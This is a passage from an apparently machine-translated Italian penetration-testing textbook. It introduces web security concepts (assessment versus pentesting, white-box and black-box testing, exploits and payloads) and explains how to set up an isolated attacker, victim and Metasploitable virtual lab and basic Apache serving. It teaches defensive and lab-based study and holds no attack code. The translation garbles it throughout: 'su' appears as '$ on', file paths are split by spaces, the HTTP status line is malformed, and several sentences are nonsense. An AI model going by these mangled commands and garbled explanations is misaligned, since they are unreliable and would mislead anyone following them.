quality of the software, easily programmable after a few weeks of study without any
expertise in securing an application.
Anonymity: the presence of technologies aimed at anonymity and minimum to the skills really
achieve a good degree of anonymity on the net launch devastating attacks they allow to
without getting caught
Money: There is a lot of money on the Web, more than one might think: just see how the
e-commerce sector has practically supplanted the shop near the house in less than 20
years, but also the world of Phishing, extortion through type attacks. DoS or Ransomware
and more recently cryptocurrency miners can be considered not indifferent motives.
1.4 The Defense starts from the Attack

To defend yourself against a cyber-criminal you have to think like a cyber-criminal. Not only
that, you need to have knowledge equal to or even superior to it.
In fact, if on the one hand you need to know how to "attack" it is also necessary to know how to
secure yourself, and it is not certain that this last quality is the prerogative of the attacker: on several
occasions you may find yourself in front of people without adequate preparation on the subject ,
shortcomings eliminated through "lamer" tools, sometimes difficult to find (for a fee or managed by
third parties).
For this reason, Hacklog 2 will offer a broad introduction to the preparation of the necessary
knowledge (skills) before getting to the actual attacks, with the possible mitigations and known
defense techniques; similarly, we will also study the tools (tools) that are usually used for the
most common attacks.
1.4.1 Software or Administrator's Fault?

The risks that expose the safety of a web infrastructure can be cataloged by two separate
"classes" of vulnerabilities: those in which sysadmin and developers can directly operate the
fixes and those in which they have to rely on software vendors to solve problems , often
through version updates or patches.
It is important not to underestimate this: the first "class" is almost exclusively caused by an
incorrect configuration (misconfiguration) of the software by sysadmin and webmaster in
general, a situation that is difficult to determine in advance and that requires a detailed study
case by case. ; the second "class" instead refers to vulnerabilities common also by other users,
in this sense it is more likely to be faced with vulnerabilities already
discovered (caused by an outdated software) or yet to be discovered (the so-called 0day).
1.5 Attack approaches

In the course of the document we will study the security of a web infrastructure through both
the attacker's "eyes" and those of the defender. It is important to know that there are different
types of approaches, from those designed for general verification to those capable of
simulating a real cyber attack.
If something is not clear to you, I recommend that you return to this Chapter when you have
more skills on the recognition and exploitation of cyber attacks.
1.5.1 Vulnerability Assessment and Penetration Testing

In the jargon of IT Security it will not be uncommon to come across these two terms, often used
incorrectly and interchangeably. With this short paragraph we will try to understand what we are
referring to, the differences and the reasons why they are fundamental parts of a vulnerability
management program.
With Vulnerability Assessment we mean a vulnerability assessment: it is the process in which

the severity of vulnerabilities in a computer system are identified and determined. From the
Vulnerability Assessment a report is obtained that contains the vulnerabilities found, classified in
order of priority based on severity and / or criticality. Vulnerability Assessment is usually a process
that involves the use of Vulnerability Scanner (Chapter 13.1), whose reports are then evaluated by
IT Security experts.
When it comes to Pentesting ( penetration test), on the other hand, the focus is on simulating a
real attack: a test of the defenses is then carried out, any information on the attack is mapped
and, finally, an attempt is made to make the computer system difficult to the point of violating it.
Also in this case, tools such as Vulnerability Scanners are usually used, however the result of
a pentesting is aimed at demonstrating the effectiveness of an attack, not the list of
vulnerabilities; in this case we may need the Framework, work environments designed for the
purpose (Chapter 13.2).
When should we talk about Vulnerability Assessment and Pentesting? The first case is
certainly more suitable for situations where the real is unknown
state of defenses; it is likely that a company or website in general will need a Vulnerability
Assessment when it has not yet reached sufficient maturity in internal defense procedures.
Pentesting, on the other hand, is aimed at those realities where you want to test the defense
tools and procedures, requiring deeper analyzes and verifying if there are real security threats
in the platform.
1.5.2 White, Gray and Black Box

You must know that in IT Security, and in testing in general in any other field, there are
different cases and variables that define specific attack approaches. These are usually
cataloged with two names:
White Box
Black Box
The combination of both is identified in the industry as Gray Box.
1.5.2.1 WHITE-BOX TESTING

The approach called "White-box testing" 9 this is what we will see in the study of vulnerabilities.
It defines an environment in which the internal information in which tests are performed are
known. In these cases, those who carry out the attack tests know the behavior of the structure
and have good / excellent skills in the design of the applications that will be verified. In the Web
landscape, it allows you to carry out tests on web apps where you have access to the
application's source code and to the server machine that hosts the platform.
Advantages
A White-Box type approach has the advantage of being:
Easily attackable (and fixable) thanks to the opening of the source code or the machine
configurations
Easy to automate
Documented or provided by simplified test procedures Faster to run
Cheaper for the client

Disadvantages
A White-Box approach has the disadvantage, however, of being:
The tester needs to know the program and how it works
It requires excellent programming skills (equal to or superior to the programmer) or

server management
Impracticable in certain specific situations where it is necessary to verify its functionality

rather than its structure
It does not simulate the Information Gathering
The White-box approach will be addressed only with the manual technique: there are in fact
tools to verify the quality of the written code, however we believe that these are not useful for
those who are new to IT Security or Web Programming in general. . The approach that will be
addressed through automation will be of the Black-Box type.
1.5.2.2 BLACK-BOX TESTING

The "Black-box testing" approach 10 it is a "blind" approach where the critical information of the
structure being attacked is not known upstream. These situations are used to simulate real
cyber attacks where the cyber-criminal has no internal information and must extrapolate them
through an in-depth Information Gathering session. In the Web landscape, it allows you to
simulate attacks against web portals having no internal information.
Advantages
The Black-Box approach has the advantage of being:
More reliable for a complete report on the security of a web infrastructure
Simulate a real cyber-criminal attack
Disadvantages
The Black-Box approach has the drawback of being:
Much slower to implement. More
expensive for the client

Requires a lot of technical knowledge (and luck!) It could result in
false positives and false negatives

1.6 Exploit, Payload and Disclosure
In the course of reading we will often address two terms: Exploit is Payload.
To give an example, let's imagine the cyber attack as a missile: what determines the flight
module is the exploit, the explosive warhead is the payload. In practice, the exploit makes the
missile travel but the tip will explode when it reaches its destination; without either, the missile
is completely useless.
The attacks that we will see in this document are relatively simple to carry out but it is possible
that they become complicated in view of a greater number of variables: when the exploitation
of a vulnerability can become a long and cumbersome task, it is good to rely on the
programming of exploits, programs designed for the "dirty work". These programs are usually
written by the researcher of the vulnerability itself and go to manipulate HTTP requests and
responses as if they were manipulated by a human being: from there the exploit can automate
Privilege Escalation processes 11 or run payload and shellcode.
In the IT Security universe, the exploit is the "magic key" to exploit a vulnerability on a specific
software and version: it is no coincidence that the exploit is often the Holy Grail of every
pentester and researcher; usually its release depends on the type of Disclosure 12 to which you
go:
- Responsible Disclosure: in this case the vulnerability is released through communication or

agreements with the software developer. The release is of the "responsible" type and is
carried out according to an estimated timing and coverage of the update. There may
sometimes be release ultimatums based on internal development policies. The exploit is
informative and with a relatively low risk.
- Full Disclosure: in this case the vulnerability is released without agreements with the
software developer. The release is of an "uninformed" type and the time between publication
and fix depends on the severity and difficulty of solving the problem. The exploit is productive
and with a medium / high risk.
- Non Disclosure: in this case the vulnerability is not released. In this

category usually there are commercial exploits, not publicly released and not communicated
to the software developer. The exploit is productive and with a high / extreme risk and is
usually called
0day.
In general, the Payload is instead that part of code within a program that causes "damage"
within a computer system. This does not necessarily go to delete files: for example, it could
install a rootkit to make it flow into a botnet (network of infected computer devices under the
control of the cyber-criminal himself).
The payload completes itself with the exploit and is essentially its completion: so if the exploit
breaks through the software, the payload is the one that infects it.
1.7 How to "pierce" a Website

After many ups and downs you managed to set up your web portal: you studied web
programming in detail or maybe you used some CMS (like Wordpress) and you uploaded
everything to the network. You sweated seven shirts to get to where you are now and in less
than 24 hours you find the infected site. How was this possible? What are the causes? Does
anyone really have it with me?
We type "how to punch a website" on a search engine and let's realize for a moment how
many pre-cooked guides are provided: absurd, it is one of the most popular topics on the Web!
Of course, the results are sometimes ridiculous, but among these we find step-by-step articles
that explain us how to perform a pentest to the detriment of any web infrastructure without any
expertise in the matter.
These are usually summarized in:
1) Download a GNU / Linux distribution designed for pentesting
2) Launch one of the Web Security Scanners / Framework and scan the portal
3) Download an exploit from some site and hack the site
4) Profit
As absurd as it may seem at first, here are summarized main

phases of a cyber attack. In fact, a real pentesting session involves:
1) Collection of information on the web infrastructure
2) Identification of the vulnerabilities present
3) Exploitation of existing vulnerabilities
Following one of the many guides presented in this way will probably do more harm than good to
those who really want to study this world: it is also true, however, that these guides give a real
demonstration of the risks involved and, for the purposes of this document, we too will give one
demonstration in the course of the document.
On the other hand, it can be difficult to secure a portal, especially if it is commissioned to

inexperienced or organized people: sometimes an update not performed is enough to blow up
the entire infrastructure and the damage can be huge!
1.8 Ready, Set, Wait!

Some considerations before starting:
- The reader is expected to have direct access to the Internet (to download tools and update
the distribution in use)
- Some links may not be reachable or obscured by the provider, DNS or Browsers; we advise
the user to search for suitable alternatives through the Search Engine or to change their
DNS 131415
- The text may require further information, sometimes not translated into Italian: if you want to
overcome amateur reading and intend to study specific advanced techniques, English is a must.
- In any case, do not carry out attacks against third parties without their consent. If you're here,
you probably don't have the skills to avoid handcuffs!
- This is just the beginning of a hard but extremely rewarding journey; never give up!
Enjoy the reading!

2. THE IRONS OF THE CRAFT
The development environment is essential to understand on the practical side how cyber
attacks are conveyed through the WWW vector: we strongly advise the reader to apply what
will be explained to simplify the learning process and at the same time fully experience the
experience that Hacklog 2 has to offer.
2.1 Attack Environment

Much of this document will make use of the Operating System Parrot Security OS 4.1, currently
the latest version of this distribution, for the computer that we will use in the attack phases.
If you decide to put the attack techniques into practice, you must already be able to install the
following Operating System inside your computer (or if you prefer through the use of a Virtual
Machine). In the event that you are unable to install Parrot Security OS, you can refer to the " Debian
GNU / Linux Installation Manual ”, Distributed free of charge on our website www.hacklog.net.
The manual is also suitable for those who decide to prefer an alternative type distribution Pentesting.
The recommended distributions are all those based on Debian and Ubuntu, namely:
- Backbox ( https://www.backbox.org)
- Kali Linux ( https://www.kali.org)
and many others. You can also use Debian or similar but you may have difficulty installing all
pre-installed tools.
Given the nature of the mother distributions, we will not offer support for other types of
commands and configurations (Fedora, Suse, Arch, Gentoo etc ...), therefore we advise the
inexperienced reader of GNU / Linux environments to refrain from "do-it-yourself" and to use
as recommended.
Why Parrot Security OS and not Backbox, Kali, Debian etc ...?
The choice of wanting to use Parrot Security OS was made at the end of this volume due to
the presence of a greater number of tools already pre-installed unlike other distributions. If you
have the skills to install other tools, feel free to try any other distribution!
Why use GNU / Linux and not Windows / macOS instead?

It is commonplace that in IT Security the one who performs pentest must use GNU / Linux. It is
not my intention to "impose" the use of a GNU / Linux machine and, when possible, I will also
try to consider the Operating Systems of Microsoft and Apple. The reasons for choosing GNU /
Linux are to be found in other factors: convenience and popularity. Saying that GNU / Linux is
more comfortable than Windows or Mac may seem like an understatement but I assure you
that it is not that far from reality: paradoxically, installing a program from Terminal turns out to
be simpler and standardized rather than explaining the installation of a program in the other
two OSes (as easy as it is to do). In the event that an error occurs, it will be much more
immediate to seek a resolution to it, thanks to the infinite online community that helps network
users every day. The convenience is also perfectly linked to the popularity that this OS has
both in the IT Security branch and in the Server branch: in the first case you will find many
software designed exclusively for GNU / Linux - and other tools that "emulate" its operation,
often badly, on other platforms - while in the second case, and apart from rare exceptions or
necessities, we will find ourselves carrying out attack tests on GNU / Linux machines. Suffice it
to see how many Hosting / VPS / Server and so on make use only of the "penguin" Operating
System. However, this preludes the knowledge of an Operating System of a different nature:
2.1.1 Create your own Attack Virtual Machine

For greater convenience we will use the Operating System, which we will call
attacker , within a Virtual Machine: unlike the first volume, where it was necessary to expose
the machine in use in a real environment, in this volume you can safely use one.
Better a physical installation or a Virtual Machine?

We advise you to use a Virtual Machine: this is a container capable of simulating a real
computer within an Operating System already in use, which translates into not having to format
and install any OS, thus risking having to delete partitions on your HDD.
Also consider that we will perform, during the guide, a setup of two virtual machines: the first
for attack and the second for defense. These will be placed side by side to allow us to study
the effects of attacks with better control of the environments.
First download and install Oracle VM VirtualBox 16 for your Operating System, then click on New
and create a new container where your VM will reside. Give it a name and type / version (Linux
Debian 64bit combination will do just fine) [Figure 2.1]:
Figure 2.1: Creating a Virtual Machine is a quick and easy operation!
64 or 32 bit? The choice of the type of architecture to download depends on whether or not
your CPU supports such architectures. If in doubt, we recommend that you download the 32-bit
version, specifying however the "32-bit" version (differently from what is indicated in the
screen above), then you will need to download the Parrot Security OS ISO (which you will
need to download from https://www.parrotsec.org/download- security.php) of the correct
version.
Choose Define RAM ( we recommend 4096MB) and Disk Space ( here at least 30GB) that you want
to dedicate to the machine, then follow the whole procedure [from Figure 2.2 to Figure 2.5] until the
start button appears [Figure 2.6].
Figure 2.2: Assign the amount of RAM you intend to use. For reasons of stability,
we recommend at least 4GB of RAM (4096MB)
Figure 2.3: You decide to create a virtual hard drive right away
Figure 2.4: Use VirtualBox Disk Image (VDI) File Type

Figure 2.5: allocate 30GB of minimum space, if you want please indicate where you want it to be saved
the virtual HDD (click on the yellow icon in this case)
Figure 2.6: Select the virtual machine and start it.
Is this your first time installing GNU / Linux? Don't worry, you can download
the ebook free from our site
(https://hacklog.net/it/hacklog-volume-1-anonimato/guida-a- debian) and follow it step-by-step
to have a working environment after a few minutes!
You will be asked to choose the ISO 17 of Parrot Security OS. If you haven't done it yet, you can
download it from the official website 18 . Start the installation and proceed with it [Figure 2.7].
Figure 2.7: to start a Virtual Machine select it from the list then double-
click or click on Start
To make the most of the resources you may want to install the VBox Guest Additions: it is
advisable to install them at least on the Parrot Security OS virtual machine, in this case read
the official guide: https://docs.parrotsec.org/doku.php/virtualbox-guest -additions
2.2 Defense Environment

Okay, we have the machine to attack. But what are we attacking, exactly?
We exclude a priori attacks against public websites: in addition to causing (unnecessary)

damage to other companies or people, much of what will be treated in this document is only
allowed on proprietary environments. In fact, let us remember that computer abuse is a
criminal offense and as such it should only be perpetuated in controlled environments!
https://information.rapid7.com/download-metasploitable-2017.html
2.2.1 Create the Victim Virtual Machine

Use a Virtual Defense Machine, which we will call victim , will allow us to monitor attacks
against the web application that will host.
The creation procedure is identical to what we saw in chapter 2.1.1, with the exception of the
Operating System we are going to use (which will be Debian 9).
Here we recommend:
First name ( Hacklog 2 Victim), Guy ( Linux) and Version ( Linux 2.6 / 3.x / 4.x 64-bit)
RAM, 2048 MB recommended
HDD, select "Create a new virtual hard disk now" At the Hard Disk type,
choose VDI (VirtualBox Disk Image)
The type of allocation is indifferent (Dynamically allocated or specified size)
Assign one dimension larger than recommended, let's say 20GB will suffice
Eventually you will have two Virtual Machines ( attacker is victim ) fully functional and ready to
be configured with each other.
2.2.2 Configure the Virtual Machine Victim

In addition to the default packages you will need to install additional applications to make the
defense machine complete for this course. If you are not going to tackle the Web Basics
chapter (chapter 3) where some fundamental concepts about servers will be explained, you will
also need to install:
- Apache (chapter 3.2)
- MySQL (chapter 3.6)
- phpMyAdmin (chapter 3.6.5)
- DVWA (chapter 3.8.1)
If in doubt, we recommend that you follow the book from start to finish so that you have a
clearer view about it.
2.3 Two Virtual Machines, one network

Both machines need to be connected to each other and able to communicate across a
(virtualized) network. In this way we will effectively simulate a client-server condition (where the
client is the attacking machine and the server is the one that suffers). From the Settings of
each machine
virtual (right click on it, then Network) we configure a new network card as follows:
- Click on " Card 2 " therefore " Enable Network Card "
- Connected to: Internal network
- Name: hacknet
- In advanced
- Intel PRO / 1000 MT Desktop card type
- Promiscuous mode: Allow everything
- Cable connected (enabled)
Below is a screenshot of how you should configure the machines to be able to communicate
with each other [Figure 2.9].
Figure 2.9:
example of configuration of the second network card of the two Virtual Machines
It may be more convenient to have two static IP addresses as well: this means that, at startup, the two
environments will always have the same (static) IP addresses and will not change based on the
presence of other VMs or the order of both.
We can therefore configure a special file within the two environments with the terminal
command:
$ ip a
Let's take notes on the two network card identifiers (in attacker will be eth0 and eth1, in victim enp0s3
is enp0s8) [ Figure 2.10].
Figure 2.10:
running the "ip a" command we will show the identifiers of the (virtual) Ethernet cards.
Also from the terminal, we obtain root (su) privileges and modify the / etc / network / interfaces
file:
$ on
$ nano / etc / network / interfaces
and modify it on the machine attacker as follows [Code 2.1].

Code 2.1
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces (5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
# The first network interface, connected to the Internet
auto eth0
iface eth0 inet dhcp
# Second network interface, statically configured
auto eth1
iface eth1 inet static address 20.0.0.2
netmask 255.255.255.0
gateway 20.0.0.1
broadcast 20.0.0.0
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter2/1.txt
At this point you can restart the networking service (or better yet completely restart the virtual
machine):
$ service networking restart
Now you will have to carry out the same steps just explained, changing the address (IP address) of
the machine in the second interface victim . If you are using Debian 9 you will also need to change the
interface name (eth0 becomes enp0s3 and eth1 becomes enp0s8) [Code Listing 2.2]:
Code 2.2
# and how to activate them. For more information, see

interfaces (5).
auto lo
auto enp0s3
iface enp0s3 inet dhcp
auto enp0s8
iface enp0s8 inet static address 20.0.0.3
netmask 255.255.255.0
gateway 20.0.0.1
broadcast 20.0.0.0
In this way you will have:
IPAttacker IP Victim
20.0.0.2 20.0.0.3
To check the connectivity between the two, run the command on the two machines:
$ ping <ip_address_of_other_machine>
Then from the machine attacker you will type:
$ ping 20.0.0.3
and from the machine victim you will type:
$ ping 20.0.0.2
The result will be a series of continuous responses from both machines (Figure 2.11):
Figure 2.11: By launching the ping command you will make test connections to the other machine.
You can stop the process with the key combination CTRL + C
In addition, we may want to define a hostname so that we don't have to indicate the IP address of the
victim machine every time: from attacker let's edit the / etc / hosts file:
$ nano / etc / hosts
and add under the other IP addresses (Figure 2.12):

20.0.0.3 victim
Figure 2.12: We add the hosts, so when we connect to it we will receive
however response from the server
We save with CTRL + X, then S key and ENTER (remember this procedure, we will use it often
during the reading). You can now retry to "ping" the new host (ping victim) and you should be
able to communicate easily with the machine.
2.4 Metasploitable, the third wheel

We conclude the setup of the work environment by installing the third, last Virtual Machine towards
which we will carry out attacks on the network: if with victim
(20.0.0.3) we will learn how to install a web server and carry out attacks against the web
application (DVWA, Chapter 3.8.1), with metasploitable
we will carry out attacks against services, ports and anything that does not concern a web-app
based attack.
Why didn't we use victim? While with victim we wanted a healthy virtual machine, where the
user would learn the basic administration of a web server, with metasploitable all this would not
have been possible as many of the modules are already pre-installed. In doing so, we would
not have had the possibility to train the user in the Fundamentals, nor would he have been able
to test against a technically stable machine (victim) or sieve (metasploitable).
Now follows the basic configuration of the metasploitable machine.
2.4.1 Create the Metasploitable Virtual Machine
Use a Virtual Defense Machine, which we will call metasploitable , it will allow us to monitor
attacks against the services it hosts.
The creation procedure is slightly different than the other two: first get the Metasploitable
image from the official website
(https://information.rapid7.com/download-metasploitable-2017.html) by registering [Figure 2.13
]. At the end, you will get a .zip file (metasploitable-linux-2.x .x.zip) that must be extracted:
inside you will find 5 files but for the moment we are not interested.
We create the new virtual machine by assigning:
First name ( Metasploitable), Guy ( Linux) and Version ( Linux 2.6 / 3.x / 4.x 64-bit)
RAM, 1024 MB recommended
HDD, select "Create a new virtual hard disk now" At the Hard Disk type,
choose VDI (VirtualBox Disk Image)
The type of allocation is indifferent (Dynamically allocated or specified size)
Assign one dimension larger than recommended, let's say 20GB will suffice
The machine has been installed but, unlike the other two (where Setup procedures will follow
and so on), here we will directly import the Virtual Machine ready to be launched.
Figure 2.13: fill in the registration form and download
Instead of starting the machine, select it from the list of Virtual Machines, then right click and
enter the settings. Let's navigate to the item " Archiving ", we select the SATA controller
"Metasploitable.vdi",
then click on the icon of the Hard Disk next to the item " HDD" right [Figure 2.14]. At the pop-up
click on "Choose a virtual hard disk ...", then select the "Metasploitable.vdmk" file you just
extracted [Figure
2.14].
Figure 2.14: Go to Storage, then replace the virtual disk in the controllers
SATA with what you just downloaded.
2.4.2 Configure Metasploitable

Before starting Metasploitable we also assign to it an "Internal network" (called hacknet) and
configured as seen above [Figure 2.9], then we start the virtual machine. Starting
Metasploitable for the first time can be a bit traumatic. It will come with a text interface and a
cold login [Figure 2.15] which we will have to complete with this data:
User: msfadmin
Password: msfadmin
Figure 2.15: Metasploitable is delivered without a GUI but only through the CLI. You will do it
the habit (and you will save on computer resources!)
Also in this case we will configure the virtual machine to work in our virtual pseudo-network, so
we type:
$ sudo nano / etc / network / interfaces
and configure it by assigning as IP address 20.0.0.4 [Code 2.3]:

Code 2.3
# and how to activate them. For more information, see interfaces (5).
auto lo
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static address 20.0.0.4
netmask 255.255.255.0
gateway 20.0.0.1
broadcast 20.0.0.0
To make the changes restart the machine or launch from the terminal:
$ service networking restart
From now on, metasploitable will have the IP address in our system
20.0.0.4. Let's verify its operation by pinging from attacker or from victim
this IP address, as seen above.
The network will be composed as follows:

IPAttacker IPVictim IPmetasploitable
20.0.0.2 20.0.0.3 20.0.0.4
2.5 The Terminal

If you have already read the Hacklog, Volume 1: Anonymity you already know the Terminal and the infinite
possibilities that it can offer us.
If, on the other hand, it is the first time you hear about it, then you will have to get used to its use
immediately. It looks like a program within our Operating System and will allow you to launch
commands and parameters necessary to achieve different purposes.
In the book the terminal will be shown in this way:

$ ping www.inforge.net
For convenience, we will use the $ (dollar) symbol to indicate where we will run the command
indicated; consider that in certain situations in your terminal you may not find the symbol but
the nickname and the machine name you are using (eg: stefano9lli @ hacklog :).
In the previous example, the ping command is the program we call while www.inforge.net is
the parameter we pass to ping.
2.6 Interceptor Proxy

Figure 2.16: Burp Suite and OWASP ZAP do (almost) the same thing!
Throughout this document, we will make extensive use of Interceptor Proxy,

tools able to analyze HTTP requests and to be able to modify them at will before being
forwarded to the web application.
Burp Suite is OWASP ZAP [ Figure 2.16] are two programs that collect a series of tools
designed to facilitate the pentester's work: both offer scanning, bruteforcing and fuzzing tools -
techniques that we will see later - but will be specifically treated as Interceptor Proxy:
essentially they create a tunnel in our PC (usually at the door
8080) to which we will have to connect the browser [Figure 2.17]. Through this feature the two
programs are able to analyze HTTP requests and responses sent through the Web Browser: we
will make extensive use of them to determine the responses of the various test environments.
More specifically, we will carry out most of our tests through Burp Suite (in the Free Edition,
therefore free) while OWASP ZAP will be used only on a single occasion, so that you can
become familiar with the instrument.
Figure 2.17: in order to use Burp Suite or OWASP ZAP, the browser must be connected to
port 8080 to our localhost.
Choosing between Burp Suite and OWASP ZAP is a matter of habits and ethics: feel free to try
them both and choose the one that best reflects your workflow. I hope that with this document
you will find your way!
Interceptor Proxies sneak between server and client: however this can create problems with
SSL / TLS certificates in case of HTTPS connections, so you will need to add the host at the
first connection to the exceptions [Figure
2.18 and Figure 2.19].
Figure 2.18: If the HTTPS connection goes through the Interceptor Proxy it will be necessary
put the "wrong" certificate as an exception (Firefox)
Figure 2.19: Confirm Exception Opening Popup (Firefox)
2.7 Analyze / Inspect Element
Figure 2.20: The Analyze / Inspect Element function is a useful tool for the
web page debugging ... and more!
The Analyze / Inspect Element [Figure 2.20] function is present in most of the latest generation
browsers. you can activate it with one of the following keyboard shortcuts:
Browser Shortcut
Mozilla Firefox CTRL (CMD) + SHIFT + I or F12
Google Chrome CTRL (CMD) + SHIFT + I or F12
Opera CTRL (CMD) + SHIFT + I
Apple Safari CMD + ALT + U
Microsoft Edge F12
With this tool we will have the ability to read the source code of the
page, view downloaded resources, determine what's slowing them down, and much more.
Although it is mostly used as a debugging tool for client-side web development, it will be useful
for us to make on-the-fly modifications directly to the HTML source code and manipulate some
information.
When developing a web application, it is essential to know how to recognize, monitor and
eventually solve design problems. That's why they are increasingly popular and for many
browsers already integrated. They appear as programs integrated in the Browser and allow
you to perform various operations:
Analyze HTML elements and CSS styles, allowing a change in

live in order to facilitate its development
Interact with the Console, a sort of Terminal from which it is possible to establish functions in
clientscript (Javascript)
Monitor Resources, for example it is possible to easily establish which external files are
loaded, the impact they have in terms of performance and memory
2.8 Metasploit Framework

Undoubtedly Metasploit Framework is the best known suite of programs in the world of Cyber
Security: it is the de-facto standard for Pentesting activities and contains a database of over
1500 exploits for testing any IT infrastructure, including the world of the WWW. During the
reading we will learn to know it thanks to its extreme versatility in any occasion.
The project was purchased by the Rapid7 company which distributes three versions:
Framework, the totally open-source version, maintained by the developers and the online
community. It can only be used by CLI 19.
Community, the free version (but not open-source), which together with the Framework version
also offers a graphic front-end via the web.
Pro, the paid version, which will not be treated.

3. FUNDAMENTALS OF THE WWW
If you are taking your first steps in the world of Information Security and you want to face the
World Wide Web, it is essential that you know how the Internet world works in broad terms. I'll
try to make it as simple as possible!
Let's find a meaning: the Internet is a set of connected systems that exchange messages.
Some may only accept certain types of messages while others may only accept certain
senders; once this information is received by the recipient, the latter will take care of
processing it.
To avoid that every software or hardware manufacturer decides to do their own thing, RFCs
(Requests for Comments) have been created, documents that establish standards in the IT
field.
Let's take HTTP for example: it is a protocol 20 which establishes how a Web Browser and a
Web Server communicate with each other.In the event that both the Browser and the Web
Server agree on how to use this protocol (defined by the relevant RFCs) they will be able to
communicate.
Before you ask yourself what a Web Server is, I anticipate that we will talk about it shortly: for
now you only need to know that it is a program, installed on the server, that takes care of loading
a website.
3.1 What happens when we browse?

In this chapter we will become familiar with some tools that professionals use to determine
network traffic; we will also discover how to de-structure network traffic, thus being able to
analyze the various components and explain them in detail one by one.
Ok, what happens when we browse the WWW?
1) Open the Browser and type in the address bar URL something
type: www.hacklog.net
2) Your computer connects to a DNS: this is a system that takes care of translating the domain
( www.hacklog.net) in the relative IP address ( in
this case 104.28.5.97): a kind of telephone directory so to speak.
3) Your computer will now try to establish a TCP connection 21 on

door 22 80 or 8080, usually used for the HTTP traffic ( in the HTTPS version it will connect to
port 443 instead).
4) If the connection is successful, your Browser will send a

HTTP request like the following:
GET / HTTP / 1.1
Host: www.hacklog.net
Connection: keep-alive
Accept: application / html, * / *
5) The server, if it understands your request and accepts it, will answer with something like this:
HTTP / 1.1 \ 200 OK

Content-Type: text / html
<html>
<head>
<title> Welcome to Hacklog.it! </title>
</head>
<body>… </body>
</html>
6) Your Browser will collect the response and perform the render 23 of the obtained code. In this case it will
be the homepage of the website www.hacklog.net
Easy, isn't it? Well, there is still a long way to go :)
3.2 The hard life of the Web Server

The example we saw earlier refers to the main page of a site: this happens because, by
resolving the main host (in the previous case www.hacklog.it), the default page that the web
server has chosen to show is loaded. In a basic web server the main page is usually the file
index.html.
The Web Server's job is to make sure that a certain date HTTP request, the correct one is
provided HTTP response; the result of this relationship is
the video output that we usually see in a Browser screen (the web page).
There are several Web Servers, among the most common we mention: Apache ( the most popular HTTP Server
or Tomcat version), Nginx, Lighttpd, ColdFusion, Mongoose, IIS, Cherokee and so on.
Each Web Server has its own particularities and peculiarities: whereas IIS is preferable on
Windows machines, in the same way Apache / Nginx / Lighttpd on UNIX-based Operating
Systems are preferred, however one solution does not exclude the other. The choice of a Web
Server is however at the discretion of the system administrator.
Returning to us, to better understand how a web server behaves it would be advisable to install
one! Why not try it now?
On the car victim open Terminal and type:

$ on
$ apt install apache2 apache2-doc
Summing up:
with on we have elevated the permissions of our user to root (the password we chose
during installation will then be asked)
with apt install we will install the package of apache2 ( the Web Server) and related
documentation.
Let's open the Browser from the machine attacker and visit the address: http: // victim. If all
goes well we should get the Apache2 splash screen [Figure 3.1]:
Figure 3.1: connect to the IP of the victim machine and load the default page of
Apache
If there are any problems, try to check from the machine victim
the status of the Web Server:
$ service apache2 status
We should receive a message like this:

apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset:
Active: active ( running) since Tue 2018-02-27 16:41:39 CET; 3s

needle
...
Under Active, the status "active (running)" should appear. If not, we restart the services with:
$ service apache2 restart
replacing "restart" with "stop" or "start" to command the same actions.
What we have just done is install one of the many Web Servers on the network: by convention,
we will use Apache2 as it is still one of the most popular around (and consequently one of the
most documented).
Before going on, it will be useful to make a very small change to the web server: essentially we
will have to enable the reading of .htaccess, special (hidden) files that allow us to create
configurations quickly and run all our tests. From the victim machine we modify the Apache
configuration file:
$ nano /etc/apache2/apache2.conf
let's look for the following portion (use CTRL + W to search via nano):
<Directory / var / www />
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
and make sure the "AllowOverride" value is set to All [Figure 3.2]. Close with CTRL + X, S and ENTER.
Figure 3.2: We allow .htaccess to use their own configurations
Once this is done, restart the Apache2 services once again.

3.2.1 Hosting, Cloud, VPS and Server

To be honest, you don't need to be a system administrator to upload a web application to the
network, at least not anymore: over the years the market has been interested in providing
services designed exclusively for the web, offering its users the space necessary to run any
application
leaving that gods team of experts Yes occupy
of the administration.
The services of hosting, web spaces in which it is possible to find all the necessary programs
already pre-installed: there are also free ones, relatively stable and comfortable for amateur
and non-profit projects.
Moreover, for some years now we hear more and more often about
cloud: in the wake of hosting, the cloud market responds to those problems that more and
more often a web master finds himself facing over time (limited performance, poor services etc
...). In today's cloud systems the user outsources their services, such as mail servers,
databases, static resources (images, videos, etc ...) in optimized machines, paying only for the
consumption they make (or make them) their users via the site
web).
If, on the other hand, the web master has the necessary skills, he can opt for VPS
(Virtual Private Server): Imagine having a large server and breaking it into small parts. Each
machine is virtualized and is sized according to the requests of the web master, so as to have
a system suitable for its purposes without being forced to spend an arm and a leg.
When the going gets tough then the web master will need a Dedicated server to all intents
and purposes: costs are variable and can range from € 50 up to a few tens of thousands of €
(obviously depending on the resources required). These are often machines capable of
handling large amounts of traffic.
It is also possible that both VPS and Server are provided with formula managed:
in this case, a team of systems engineers takes care of managing the machine for you, offering
you the freedom to modify the resources at will but maintaining the simplicity of a hosting;
Managed formulas are obviously much more expensive and can cost from € 100 / € 150 per
month to go up for each machine.
3.2.2 Reverse Proxy Server

With the arrival of new devices, networks, privacy regulations and the need to offer ever faster
websites, the services of Reverse Proxy Server and many others have seen their customer
network grow exponentially, becoming practically indispensable for webmasters around the
world.
A reverse proxy server arises between the resolution of a host (for example www.hacklog.net) and the IP
address; it can serve different purposes and offer different kinds of benefits 24 :
Geolocate the answer: is able to respond faster as it offers a geographically distributed

CDN on the territory. When a user requests it, the closest server in terms of distance will
respond.
Speed to the portal: services are often provided that can automatically optimize images,
offer the latest versions of the HTTP protocol, compress the resources present on the portal,
establish caching rules and
more.
Stability: they can offer cache copies of the portals if the latter go offline and distribute the
workload through a process defined as "load balancing"
Safety: there are often automatic integrations of SSL / TLS certificates to offer HTTPS,
Firewall, IDS type protocols 25, automatic blocking of malicious bots, protection against DDoS
attacks 26 and so on.
There are several providers of these services, among the most popular we mention:
Cloudflare, Sucuri, Incapsula, Google Project Shield, Akamai and many others (more in
chapter 4.3).
3.2.3 From Domain to IP (DNS)

THE Domain Name System ( acronym of DNS) are systems that allow you to convert the
name of a domain (for example: hacklog.it) into an IP address: just like a telephone directory, it
